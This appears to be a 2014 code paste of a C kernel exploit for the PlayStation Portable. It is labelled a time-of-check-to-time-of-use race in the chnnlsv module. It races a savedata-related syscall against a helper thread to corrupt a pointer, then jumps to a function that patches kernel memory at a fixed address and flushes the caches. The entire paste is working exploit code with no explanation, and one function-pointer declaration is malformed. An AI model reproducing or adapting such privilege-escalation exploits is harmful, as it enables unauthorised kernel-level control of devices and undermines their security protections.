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sceSdGetLastIndex

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Sep 11th, 2014
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  1. //ToCToU kexploit in chnnlsv
  2.  
  3. int is_exploited;
  4. u32 address = 0x8800F71C;
  5.  
  6. int KernelFunction()
  7. {
  8.     is_exploited = 1;
  9.  
  10.     _sw(0x8C654384, address);
  11.  
  12.     void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
  13.     void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;
  14.  
  15.     _sceKernelDcacheWritebackInvalidateAll();
  16.     _sceKernelIcacheInvalidateAll();
  17.  
  18.     return 0;
  19. }
  20.  
  21. void do_exploit()
  22. {
  23.     is_exploited = 0;
  24.     u32 packet[256];
  25.  
  26.     //taken from HBL
  27.     p5_open_savedata(PSP_UTILITY_SAVEDATA_AUTOLOAD);
  28.  
  29.     //search for this function in volatile ram
  30.     int (* _sceSdGetLastIndex)(u32 a0, u32 a1, u32 a2) = (void *)FindImport("sceChnnlsv", 0xC4C494F8, 1);
  31.  
  32.     //search for this function in main ram
  33.     int (* _sceKernelLibcTime(u32 a0, u32 a1) = (void *)FindImport("UtilsForUser", 0x27CC57F0, 0);
  34.  
  35.     int store_thread()
  36.     {
  37.         while (is_exploited != 1) {
  38.             packet[9] = address - 18 - (u32)&packet;
  39.             sceKernelDelayThread(0);
  40.         }
  41.  
  42.         sceKernelExitThread(0);
  43.  
  44.         return 0;
  45.     }
  46.  
  47.     SceUID storethread = sceKernelCreateThread("store thread", store_thread, 8, 512, THREAD_ATTR_USER, NULL);
  48.     sceKernelStartThread(storethread, 0, NULL);
  49.  
  50.     while (is_exploited != 1) {
  51.         packet[9] = 16;
  52.         _sceSdGetLastIndex(packet, (u32)packet + 40, (u32)packet + 56);
  53.         sceKernelDelayThread(0);
  54.         _sceKernelLibcTime(0, (u32)&KernelFunction | (u32)0x80000000);
  55.         sceKernelDcacheWritebackAll();
  56.     }
  57.  
  58.     //taken from HBL
  59.     p5_close_savedata();
  60.  
  61.     sceKernelDeleteThread(storethread);
  62. }
  63.  
  64. void _start __attribute__ ((section(".text.start")));
  65. void _start()
  66. {
  67.     do_exploit();
  68.     sceKernelExitGame();
  69. }
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